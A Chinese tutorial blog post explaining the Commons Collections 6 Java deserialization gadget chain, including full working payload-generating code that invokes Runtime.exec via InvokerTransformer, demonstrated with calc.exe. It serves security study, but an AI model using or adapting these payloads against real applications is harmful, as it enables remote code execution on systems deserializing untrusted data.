JAVA安全基础-CC6链
高版本java利用
jdk8u71以后AnnotationInvocationHandler#readObject的逻辑发生了变化,会将序列化中的map数据转存到一个新的map中,后续操作都在这个新的map进行,导致原本的攻击链失效
所以我们需要寻找一个新的链条
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
可以看到LazyMap.get()后面的部分不变,我们只需关注前面的部分
实际上就是在上下文中寻找其他调用 LazyMap.get()的地方
这里使用的是 org.apache.commons.collections.keyvalue.TiedMapEntry
其getValue方法中调用了 this.map.get ,其hashCode方法调用了getValue方法
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
return this.map.get(this.key);
}
所以我们需要找到哪里 哪里调用了 TiedMapEntry#hashCode
ysoserial中,是利用 java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到TiedMapEntry#hashCode()
但java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用
private void readObject(java.io.ObjectInputStream s){
……
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成⼀个完整的Gadget
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
这部分和之前一样, 为了避免本地调试时触发命令执行,构造LazyMap的时候先用fakeTransformers 对象,等最后要生成成Payload的时候,再把真正的 transformers 替换进去
构造一个TiedMapEntry对象,恶意的lazyMap作为其属性
TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");
将 tme 对象作为 HashMap 的⼀个key
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
将这个 expMap 作为对象来序列化 将真正的 transformers 数组设置 进来:
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
总结一下调用链:expMap是HashMap对象,readObject时调用hash(key)方法key为一个TiedMapEntry对象
然后会调用key.hashcode()方法,也就是TiedMapEntry对象的hashcode方法,紧接着会调用TiedMapEntry对象的getValue方法其中运行this.map.get(this.key)。this.map就是构造的lazyMap,这里的this.key就是创建tem对象时传入的字符串"keykey",而lazyMap中并没有这个键就会执行transform方法
然而运行后却没有弹出计算器

没有进入到真正的触发点
map.containsKey(key) 的结果是true

在 HashMap的put方法中,也有调用到 hash(key)

导致 LazyMap 利用链会在这里被调用一遍,但前面为 fakeTransformers 无法真正利用
可是keykey这个键在这个过程会被加载到LazyMap中,导致后面真正的利用链无法成功
解决方法就是把这个键去掉
lazyMap.remove("keykey");

ysoserial的代码,其实原理一样只是hashmap是通过hashset反射得到
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*无法在jdk16之后执行*/
public class CommonsCollections6_ysoserial {
public static void main(String[] args) throws Exception {
// 1. 真实的恶意 Transformer 链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }),
new ConstantTransformer(1),
};
// 2. 先使用伪造的 Transformer 初始化,防止在本地序列化对象时就触发命令
Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
// 3. 创建 LazyMap 并用 TiedMapEntry 装饰
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");
// 4. 使用 HashSet 作为入口点 (ysoserial CC6 的标准做法)
HashSet expHashSet = new HashSet(1);
expHashSet.add("dummy"); // 先占位
//从 JDK 16 开始,Java 默认不再允许跨模块的反射访问(尤其是对 java.base 模块)
// 获取 HashSet 内部的 HashMap
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap innerHashSetMap = (HashMap) mapField.get(expHashSet);
// 将 TiedMapEntry 放入 HashSet 的内部 Map 中
// 这样在反序列化 HashSet 时,会调用该 Map 的 put 方法,从而触发 hashCode()
innerHashSetMap.clear();
innerHashSetMap.put(tme, "valuevalue");
// 5. 清理 LazyMap 中因为刚才的操作而生成的干扰键
lazyMap.remove("keykey");
// 6. 通过反射将真正的恶意 Transformer 链替换进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ===================================
// 序列化与反序列化测试
// ===================================
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expHashSet);
oos.close();
// 反序列化触发
System.out.println("Payload 生成成功,准备模拟反序列化...");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

入口为hashset#readObject 首先调用一个map.put
通过反射获取创建的hashset的内部的map变量向其中添加TiedMapEntry对象
当调用到map.put(tem,PRESENT)时进入下方的函数,后续过程就一样了


浙公网安备 33010602011771号